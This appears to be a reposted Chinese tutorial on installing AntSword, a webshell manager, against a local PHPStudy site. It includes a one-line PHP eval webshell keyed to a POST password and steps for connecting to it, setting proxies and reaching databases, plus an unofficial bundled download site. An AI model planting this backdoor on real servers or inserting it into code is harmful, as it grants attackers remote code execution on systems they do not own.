文件上传漏洞工具国蚁剑的安装配置以和使用

下载安装蚁剑使用之前安装一个PHPStudy 配置本地网站，这个自己百度安装一下，用其他办法配置本地网址或者有服务器都行

下载中国蚁剑

中国蚁剑官方GitHub地址：https://github.com/AntSwordProject/

要同时下载项目核心源码和加载器两个库，地址如下：
1、项目核心源码 antSword下载地址：https://github.com/AntSwordProject/antSword
2、加载器 AntSword-Loader下载地址：https://github.com/AntSwordProject/AntSword-Loader

加载器有三个版本：Mac、Windows、Linux。根据自己的电脑选择下载

我自己下载加载器的时候，发现解压失败，后来找到这个网址，共包含核心源码”antSword“ “AntSword-Loader”加载器2个文件，直接点击下载就行
二合一下载地址：https://www.antsword2022.com/

安装配置

解压下载的加载器后，双击“AntSword.exe”；

第一次安装项目需要先初始化，如果你已经下载了核心源码antSword，就选择antSword文件夹。（如果只下载了加载器，选择一个空文件夹，加载器会自动帮你下载核心项目源码）。

使用

1、在你的phpstudy中查看网址的根目录

2、在根目录下载创建一个php文件，文件内容为

<?php eval($_POST['ant']); ?>

请记住post里面的ant 是后面添加数据用的连接密码

3、点击鼠标右键，添加链接，URL就是本地地址，连接密码是你上传木马里面的字符串

4、还有一个是配置代理 点左上角的antSword-代理设置

端口就是PHPStudy面板网站设置的端口，自己是啥代理协议就选择哪个，每个功能界面都有个测试链接，保存之前可以测一下是否正确

5、连接数据库，这个有个注意的点，是你需要查看一下当前支持哪几种数据库类型，然后你配置的时候，选可以用的，否则会配置失败，

6、数据库的链接用户和密码在小皮面板里面看

里面的其他功能需要自己去摸索，有一个官方文档
官方文档地址：https://www.yuque.com/antswordproject/antsword/pgxa1h

这篇好文章是转载于：学新通技术网